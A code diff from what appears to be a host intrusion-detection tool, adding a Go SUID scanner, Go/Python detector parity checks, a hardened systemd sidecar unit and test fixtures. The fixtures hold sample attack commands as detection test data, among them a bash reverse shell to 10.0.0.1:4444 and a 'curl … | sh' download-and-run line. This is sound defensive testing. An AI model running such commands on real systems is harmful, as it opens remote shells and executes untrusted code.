if err != nil {
continue
}
for _, entry := range entries {
path := filepath.Join(directory, entry.Name())
info, err := os.Lstat(path)
if err != nil {
continue
}
if info.IsDir() {
if requiredDevice != nil {
device, ok := deviceID(info)
if !ok || device != *requiredDevice {
continue
}
}
stack = append(stack, path)
continue
}
mode := info.Mode()
if mode.IsRegular() && (mode&os.ModeSetuid != 0 || mode&os.ModeSetgid != 0) {
result[path] = true
}
}
}
}
func deviceID(info os.FileInfo) (uint64, bool) {
stat, ok := info.Sys().(*syscall.Stat_t)
if !ok {
return 0, false
}
return uint64(stat.Dev), true
}

View file

@ -0,0 +1,47 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package system
import (
"os"
"path/filepath"
"testing"
)
func TestScanSUIDBinariesFindsPrivilegedRegularFiles(t *testing.T) {
root := t.TempDir()
ordinary := filepath.Join(root, "ordinary")
privileged := filepath.Join(root, "nested", "privileged")
if err := os.MkdirAll(filepath.Dir(privileged), 0o700); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(ordinary, []byte("x"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.Chmod(privileged, 0o755|os.ModeSetuid); err != nil {
t.Fatal(err)
}
got := ScanSUIDBinaries(root, nil)
if len(got) != 1 || got[0] != privileged {
t.Fatalf("unexpected scan: %#v", got)
}
}
func TestScanSUIDBinariesIncludesExtraDirectories(t *testing.T) {
root := t.TempDir()
extra := t.TempDir()
privileged := filepath.Join(extra, "sgid-tool")
if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.Chmod(privileged, 0o755|os.ModeSetgid); err != nil {
t.Fatal(err)
}
got := ScanSUIDBinaries(root, []string{extra})
if len(got) != 1 || got[0] != privileged {
t.Fatalf("unexpected extra-dir scan: %#v", got)
}
}

View file

@ -1,6 +1,6 @@
#!/usr/bin/env python3
# SPDX-License-Identifier: GPL-3.0-or-later
"""Compare ported Go poll detectors with the Python reference oracle."""
"""Compare ported Go poll and exec-rule output with the Python oracle."""
from __future__ import annotations
import json
@ -14,18 +14,26 @@ from unittest.mock import patch
ROOT = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(ROOT))
from enodia_sentinel import __version__, event # noqa: E402
from enodia_sentinel import __version__, correlation, event, ruleops # noqa: E402
from enodia_sentinel.config import Config # noqa: E402
from enodia_sentinel.detectors import ( # noqa: E402
credential_access,
deleted_exe,
egress,
first_seen,
input_snooper,
ld_preload,
memory_obfuscation,
new_listener,
new_suid,
persistence,
reverse_shell,
stealth_network,
)
from enodia_sentinel.events.exec_event import ExecEvent # noqa: E402
from enodia_sentinel.events.rules import ExecRuleEngine # noqa: E402
from enodia_sentinel.events.syscall_event import SyscallEvent # noqa: E402
from enodia_sentinel.events.syscall_rules import SyscallRuleEngine # noqa: E402
from enodia_sentinel.system import MemoryMap, Socket, SystemState # noqa: E402
HOST = "parity-host"
@ -78,7 +86,16 @@ def main() -> int:
processes.append(FixtureProcess(**process))
sockets = [Socket(**item) for item in fixture_data.get("sockets", [])]
cfg = Config()
state = SystemState(processes=processes, sockets=sockets)
state = SystemState(
processes=processes,
sockets=sockets,
listener_baseline=set(fixture_data["listener_baseline"])
if "listener_baseline" in fixture_data else None,
suid_baseline=set(fixture_data["suid_baseline"])
if "suid_baseline" in fixture_data else None,
suid_binaries=fixture_data.get("suid_binaries"),
persist_since=fixture_data.get("persist_since"),
)
alerts = list(reverse_shell.detect(state, cfg))
with patch.object(ld_preload, "Path") as path_class:
preload = path_class.return_value
@ -91,6 +108,24 @@ def main() -> int:
alerts.extend(stealth_network.detect(state, cfg))
alerts.extend(memory_obfuscation.detect(state, cfg))
alerts.extend(egress.detect(state, cfg))
first_seen_data = {
"schema": "enodia.first_seen.v1",
"initialized": fixture_data.get("first_seen_initialized", False),
"public_destinations": fixture_data.get("first_seen_public_destinations", {}),
"listener_ports": fixture_data.get("first_seen_listener_ports", {}),
}
with patch.object(first_seen, "_load", return_value=first_seen_data), \
patch.object(first_seen, "_save"):
alerts.extend(first_seen.detect(state, cfg))
alerts.extend(new_listener.detect(state, cfg))
with patch.object(persistence, "_iter_files", return_value=list(fixture_data.get("persistence_files", {}))):
with patch.object(
persistence.os, "lstat",
side_effect=lambda path: SimpleNamespace(
st_mtime=fixture_data["persistence_files"][path]),
):
alerts.extend(persistence.detect(state, cfg))
alerts.extend(new_suid.detect(state, cfg))
python_alerts = [
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
for alert in alerts
@ -108,8 +143,204 @@ def main() -> int:
if status.get("schema") != "enodia.status.v1" or status.get("version") != __version__:
print("Go status schema/version drifted from Python", file=sys.stderr)
return 1
# Exec rules use a separate replay mode so the event model and rule engine
# stay independently testable before the Go side has a kernel event source.
exec_fixture = ROOT / "tests/fixtures/go/exec-events.json"
exec_rules = ROOT / "tests/fixtures/go/exec-rules.toml"
exec_config = ROOT / "tests/fixtures/go/exec-rules-config.toml"
exec_command = [
"go", "run", "./cmd/enodia-sentinel-go",
"--config", str(exec_config),
"--exec-events", str(exec_fixture),
"--host", HOST, "--timestamp", TIMESTAMP,
]
exec_result = subprocess.run(
exec_command, cwd=ROOT / "go-agent", env=env,
capture_output=True, text=True, timeout=60,
)
if exec_result.returncode:
print(exec_result.stderr, file=sys.stderr, end="")
return exec_result.returncode
go_exec_alerts = [
json.loads(line) for line in exec_result.stdout.splitlines() if line
]
exec_cfg = Config()
exec_cfg.exec_rules_file = str(exec_rules)
exec_engine = ExecRuleEngine.load(exec_cfg.exec_rules_file)
exec_alerts = []
for raw in json.loads(exec_fixture.read_text()):
raw["argv"] = tuple(raw.get("argv", ()))
exec_alerts.extend(exec_engine.match(ExecEvent(**raw)))
python_exec_alerts = [
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
for alert in exec_alerts
]
if go_exec_alerts != python_exec_alerts:
print("Go/Python exec-rule parity mismatch", file=sys.stderr)
print(json.dumps(
{"go": go_exec_alerts, "python": python_exec_alerts}, indent=2,
), file=sys.stderr)
return 1
syscall_fixture = ROOT / "tests/fixtures/go/syscall-events.json"
syscall_command = [
"go", "run", "./cmd/enodia-sentinel-go",
"--config", str(ROOT / "tests/fixtures/go/no-such-config.toml"),
"--syscall-events", str(syscall_fixture),
"--host", HOST, "--timestamp", TIMESTAMP,
]
syscall_result = subprocess.run(
syscall_command, cwd=ROOT / "go-agent", env=env,
capture_output=True, text=True, timeout=60,
)
if syscall_result.returncode:
print(syscall_result.stderr, file=sys.stderr, end="")
return syscall_result.returncode
go_syscall_alerts = [
json.loads(line) for line in syscall_result.stdout.splitlines() if line
]
syscall_engine = SyscallRuleEngine()
syscall_alerts = []
for raw in json.loads(syscall_fixture.read_text()):
args = list(raw.pop("args", ()))
args.extend([0] * (6 - len(args)))
syscall_alerts.extend(syscall_engine.match(SyscallEvent(
**raw,
arg0=args[0], arg1=args[1], arg2=args[2],
arg3=args[3], arg4=args[4], arg5=args[5],
)))
python_syscall_alerts = [
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
for alert in syscall_alerts
]
if go_syscall_alerts != python_syscall_alerts:
print("Go/Python syscall-rule parity mismatch", file=sys.stderr)
print(json.dumps(
{"go": go_syscall_alerts, "python": python_syscall_alerts}, indent=2,
), file=sys.stderr)
return 1
host_fixture = ROOT / "tests/fixtures/go/host-events.json"
host_command = [
"go", "run", "./cmd/enodia-sentinel-go",
"--config", str(ROOT / "tests/fixtures/go/no-such-config.toml"),
"--host-events", str(host_fixture),
"--host", HOST, "--timestamp", TIMESTAMP,
]
host_result = subprocess.run(
host_command, cwd=ROOT / "go-agent", env=env,
capture_output=True, text=True, timeout=60,
)
if host_result.returncode:
print(host_result.stderr, file=sys.stderr, end="")
return host_result.returncode
go_host_alerts = [
json.loads(line) for line in host_result.stdout.splitlines() if line
]
host_alerts = []
for raw in json.loads(host_fixture.read_text()):
host_alerts.extend(ruleops.test_event(Config(), raw))
python_host_alerts = [
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
for alert in host_alerts
]
if go_host_alerts != python_host_alerts:
print("Go/Python host-rule parity mismatch", file=sys.stderr)
print(json.dumps(
{"go": go_host_alerts, "python": python_host_alerts}, indent=2,
), file=sys.stderr)
return 1
catalog_command = [
"go", "run", "./cmd/enodia-sentinel-go",
"--config", str(exec_config), "--rules-list",
]
catalog_result = subprocess.run(
catalog_command, cwd=ROOT / "go-agent", env=env,
capture_output=True, text=True, timeout=60,
)
if catalog_result.returncode:
print(catalog_result.stderr, file=sys.stderr, end="")
return catalog_result.returncode
go_catalog = json.loads(catalog_result.stdout)
python_catalog = ruleops.list_rules(exec_cfg)
if go_catalog != python_catalog:
print("Go/Python rule-catalog parity mismatch", file=sys.stderr)
print(json.dumps(
{"go": go_catalog, "python": python_catalog}, indent=2,
), file=sys.stderr)
return 1
mixed_fixture = ROOT / "tests/fixtures/go/mixed-events.jsonl"
mixed_command = [
"go", "run", "./cmd/enodia-sentinel-go",
"--config", str(exec_config),
"--event-stream", str(mixed_fixture),
"--host", HOST, "--timestamp", TIMESTAMP,
]
mixed_result = subprocess.run(
mixed_command, cwd=ROOT / "go-agent", env=env,
capture_output=True, text=True, timeout=60,
)
if mixed_result.returncode:
print(mixed_result.stderr, file=sys.stderr, end="")
return mixed_result.returncode
go_mixed_alerts = [
json.loads(line) for line in mixed_result.stdout.splitlines() if line
]
mixed_alerts = []
for line in mixed_fixture.read_text().splitlines():
if line.strip():
mixed_alerts.extend(ruleops.test_event(exec_cfg, json.loads(line)))
python_mixed_alerts = [
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
for alert in mixed_alerts
]
if go_mixed_alerts != python_mixed_alerts:
print("Go/Python mixed-event pipeline parity mismatch", file=sys.stderr)
print(json.dumps(
{"go": go_mixed_alerts, "python": python_mixed_alerts}, indent=2,
), file=sys.stderr)
return 1
correlation_fixture = ROOT / "tests/fixtures/go/correlation-incidents.json"
correlation_command = [
"go", "run", "./cmd/enodia-sentinel-go",
"--config", str(exec_config), "--correlate", str(correlation_fixture),
]
correlation_result = subprocess.run(
correlation_command, cwd=ROOT / "go-agent", env=env,
capture_output=True, text=True, timeout=60,
)
if correlation_result.returncode:
print(correlation_result.stderr, file=sys.stderr, end="")
return correlation_result.returncode
go_correlations = json.loads(correlation_result.stdout)
python_correlations = [
correlation.correlate(incident)
for incident in json.loads(correlation_fixture.read_text())
]
if go_correlations != python_correlations:
print("Go/Python correlation parity mismatch", file=sys.stderr)
print(json.dumps(
{"go": go_correlations, "python": python_correlations}, indent=2,
), file=sys.stderr)
return 1
signatures = sorted({record["alert"]["signature"] for record in go_alerts})
print(f"parity ok: {len(go_alerts)} alerts across {', '.join(signatures)}")
exec_sids = sorted(record["alert"]["sid"] for record in go_exec_alerts)
syscall_sids = sorted(record["alert"]["sid"] for record in go_syscall_alerts)
host_sids = sorted(record["alert"]["sid"] for record in go_host_alerts)
print(
f"parity ok: {len(go_alerts)} poll alerts across {', '.join(signatures)}; "
f"{len(go_exec_alerts)} exec alerts across SIDs {exec_sids}; "
f"{len(go_syscall_alerts)} syscall alerts across SIDs {syscall_sids}; "
f"{len(go_host_alerts)} host alerts across SIDs {host_sids}; "
f"{len(go_catalog)} catalog records; {len(go_mixed_alerts)} mixed-stream alerts"
f"; {sum(len(item) for item in go_correlations)} correlations"
)
return 0

View file

@ -0,0 +1,48 @@
[Unit]
Description=Enodia Sentinel Go migration validation sidecar
After=network.target
Documentation=https://github.com/Enodia/enodia-sentinel
[Service]
Type=notify
NotifyAccess=main
TimeoutStartSec=120
# Keep this path independent from enodia-sentinel.service. The sidecar emits
# enodia.event.v1 JSONL to the journal and owns only its separate state tree.
ExecStart=/usr/bin/env enodia-sentinel-go --config /etc/enodia-sentinel.toml --state-dir /var/lib/enodia-sentinel-go --event-log /var/lib/enodia-sentinel-go/events.jsonl --event-log-max-bytes 67108864 --snapshot-dir /var/lib/enodia-sentinel-go --ebpf-exec --ebpf-syscall
Restart=on-failure
RestartSec=5
StandardOutput=journal
StandardError=journal
StateDirectory=enodia-sentinel-go
StateDirectoryMode=0750
UMask=0077
# The embedded CO-RE programs do not need a compiler or writable executable
# memory. The broad CAP_SYS_ADMIN fallback keeps tracepoint attachment working
# on kernels predating the narrower CAP_BPF/CAP_PERFMON privilege split.
ProtectSystem=strict
ProtectHome=read-only
InaccessiblePaths=-/var/log/enodia-sentinel
NoNewPrivileges=yes
PrivateDevices=yes
PrivateMounts=yes
ProtectClock=yes
ProtectHostname=yes
ProtectKernelLogs=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
RestrictSUIDSGID=yes
RestrictRealtime=yes
MemoryDenyWriteExecute=yes
LockPersonality=yes
RestrictNamespaces=yes
RestrictAddressFamilies=AF_UNIX AF_NETLINK
SystemCallArchitectures=native
CapabilityBoundingSet=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
LimitMEMLOCK=infinity
[Install]
WantedBy=multi-user.target

View file

@ -0,0 +1,6 @@
[
{"first_ts":1000.0,"last_ts":1050.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
{"first_ts":2000.0,"last_ts":2010.0,"signatures":["host_rule.suspicious-listener","exec_rule.web-rce","new_listener"]},
{"first_ts":3000.0,"last_ts":3601.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
{"first_ts":4000.0,"last_ts":4010.0,"signatures":["exec_rule.web-rce"]}
]

50
tests/fixtures/go/exec-events.json vendored Normal file
View file

@ -0,0 +1,50 @@
[
{
"pid": 1001,
"ppid": 1,
"uid": 1000,
"parent_comm": "bash",
"filename": "/tmp/.x/dropper",
"argv": []
},
{
"pid": 1002,
"ppid": 1001,
"uid": 1000,
"parent_comm": "bash",
"filename": "/bin/bash",
"argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
},
{
"pid": 1003,
"ppid": 55,
"uid": 33,
"parent_comm": "nginx",
"filename": "/bin/sh",
"argv": ["-c", "id"]
},
{
"pid": 1004,
"ppid": 1000,
"uid": 1000,
"parent_comm": "bash",
"filename": "/bin/sh",
"argv": ["-c", "curl http://example.invalid/x | sh"]
},
{
"pid": 1005,
"ppid": 99,
"uid": 1000,
"parent_comm": "cron",
"filename": "/opt/custom/tool",
"argv": ["danger", "now"]
},
{
"pid": 1006,
"ppid": 1,
"uid": 1000,
"parent_comm": "bash",
"filename": "/usr/bin/ls",
"argv": ["-la"]
}
]

View file

@ -0,0 +1 @@
exec_rules_file = "../tests/fixtures/go/exec-rules.toml"

9
tests/fixtures/go/exec-rules.toml vendored Normal file
View file

@ -0,0 +1,9 @@
[[exec_rules]]
sid = 190001
msg = "Custom replay rule"
severity = "medium"
classtype = "custom-exec"
path_prefixes = ["/opt/custom/"]
parent_comm = ["cron"]
argv_regex = 'danger\s+now'
parent_exclude = ["sshd"]

14
tests/fixtures/go/host-events.json vendored Normal file
View file

@ -0,0 +1,14 @@
[
{"event":"tcp_connect","pid":3001,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":4444,"local_ip":"10.0.0.5","local_port":51510},
{"event":"listen","pid":3002,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
{"event":"bind","pid":3003,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
{"event":"file_write","pid":3004,"ppid":1,"uid":1000,"comm":"python3","path":"/etc/systemd/system/evil.service"},
{"event":"chmod","pid":3005,"ppid":1,"uid":0,"comm":"chmod","path":"/etc/cron.d/evil","mode":"0o777"},
{"event":"setuid","pid":3006,"ppid":1,"uid":1000,"comm":"python3","target_uid":"0"},
{"event":"setgid","pid":3007,"ppid":1,"uid":1000,"comm":"python3","target_gid":"0"},
{"event":"accept","pid":3008,"ppid":1,"uid":1000,"comm":"python3","remote_ip":"8.8.8.8","remote_port":"51515","local_ip":"0.0.0.0","local_port":"4444"},
{"event":"capset","pid":3009,"ppid":1,"uid":1000,"comm":"python3","capability":"CAP_SYS_ADMIN"},
{"event":"module_load","pid":3010,"ppid":1,"uid":0,"comm":"insmod","path":"/tmp/evil.ko","name":"evil"},
{"event":"tcp_connect","pid":3011,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":443},
{"event":"tcp_connect","pid":3012,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"10.0.0.2","peer_port":4444}
]

3
tests/fixtures/go/mixed-events.jsonl vendored Normal file
View file

@ -0,0 +1,3 @@
{"type":"execve","pid":"4001","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}
{"type":"sys","pid":"4002","ppid":"1","uid":"1000","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}
{"type":"listen","pid":"4003","ppid":"1","uid":"1000","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}

View file

@ -1,5 +1,13 @@
{
"ld_preload": "/tmp/global.so\n/opt/second.so",
"listener_baseline": [],
"suid_baseline": ["/usr/bin/sudo"],
"suid_binaries": ["/tmp/evil", "/usr/bin/sudo", "/usr/local/bin/newtool"],
"persist_since": 100,
"persistence_files": {"/etc/cron.d/evil": 101},
"first_seen_initialized": true,
"first_seen_public_destinations": {"bash": ["1.1.1.1:443"]},
"first_seen_listener_ports": {"nc": ["22"]},
"processes": [
{"pid": 100, "comm": "bash", "cmdline": "bash -i", "exe": "/usr/bin/bash", "fd_targets": {"0": "socket:[999]"}},
{"pid": 200, "comm": "sleep", "cmdline": "sleep", "exe": "/usr/bin/sleep", "environ": {"LD_PRELOAD": "/tmp/evil.so"}},
@ -25,5 +33,6 @@
{"state": "ESTAB", "local": "10.0.0.2:5000", "peer": "8.8.8.8:4443", "inode": 1, "comm": "hoxha", "pid": 340, "kind": "sctp"},
{"state": "UNCONN", "local": "*:eth0", "peer": "*", "inode": 2, "comm": "tcpdump", "pid": 341, "kind": "packet"},
{"state": "ESTAB", "local": "10.0.0.2:6000", "peer": "10.0.0.5:443", "inode": 3, "comm": "python3", "pid": 342, "kind": "tcp"}
,{"state": "LISTEN", "local": "0.0.0.0:31337", "peer": "0.0.0.0:*", "inode": 4, "comm": "nc", "pid": 500, "kind": "tcp"}
]
}

10
tests/fixtures/go/syscall-events.json vendored Normal file
View file

@ -0,0 +1,10 @@
[
{"pid": 2001, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]},
{"pid": 2002, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]},
{"pid": 2003, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "memfd_create", "args": [0, 0, 0], "text": "payload"},
{"pid": 2004, "ppid": 1, "uid": 1000, "comm": "debugger", "syscall": "ptrace", "args": [16, 5000, 0]},
{"pid": 2005, "ppid": 1, "uid": 1000, "comm": "sandbox", "syscall": "seccomp", "args": [0, 0, 0]},
{"pid": 2006, "ppid": 1, "uid": 1000, "comm": "scanner", "syscall": "process_vm_readv", "args": [5000, 0, 0]},
{"pid": 2007, "ppid": 1, "uid": 1000, "comm": "secretstore", "syscall": "mlock", "args": [140000000, 4096, 0]},
{"pid": 2008, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 5]}
]

View file

@ -0,0 +1,53 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Regression checks for the opt-in Go validation service."""
from pathlib import Path
import unittest
ROOT = Path(__file__).resolve().parents[1]
UNIT = ROOT / "systemd" / "enodia-sentinel-go-sidecar.service"
class GoSidecarPackagingTests(unittest.TestCase):
def test_unit_is_isolated_and_opt_in(self) -> None:
text = UNIT.read_text(encoding="utf-8")
self.assertIn("ExecStart=/usr/bin/env enodia-sentinel-go ", text)
self.assertIn("--state-dir /var/lib/enodia-sentinel-go", text)
self.assertIn("--event-log /var/lib/enodia-sentinel-go/events.jsonl", text)
self.assertIn("--event-log-max-bytes 67108864", text)
self.assertIn("--snapshot-dir /var/lib/enodia-sentinel-go", text)
self.assertIn("--ebpf-exec --ebpf-syscall", text)
self.assertIn("StandardOutput=journal", text)
self.assertIn("InaccessiblePaths=-/var/log/enodia-sentinel", text)
self.assertNotIn("Alias=enodia-sentinel.service", text)
def test_unit_keeps_required_hardening(self) -> None:
text = UNIT.read_text(encoding="utf-8")
for directive in (
"ProtectSystem=strict",
"ProtectHome=read-only",
"NoNewPrivileges=yes",
"MemoryDenyWriteExecute=yes",
"StateDirectory=enodia-sentinel-go",
"LimitMEMLOCK=infinity",
"Type=notify",
"NotifyAccess=main",
"PrivateDevices=yes",
"RestrictAddressFamilies=AF_UNIX AF_NETLINK",
"SystemCallArchitectures=native",
):
with self.subTest(directive=directive):
self.assertIn(directive, text)
def test_install_requires_explicit_go_target(self) -> None:
makefile = (ROOT / "Makefile").read_text(encoding="utf-8")
default_install = makefile.split("\ninstall-go:", 1)[0]
self.assertNotIn("enodia-sentinel-go-sidecar.service", default_install)
self.assertIn("install-go: build-go", makefile)
self.assertIn("enable-go:", makefile)
if __name__ == "__main__":
unittest.main()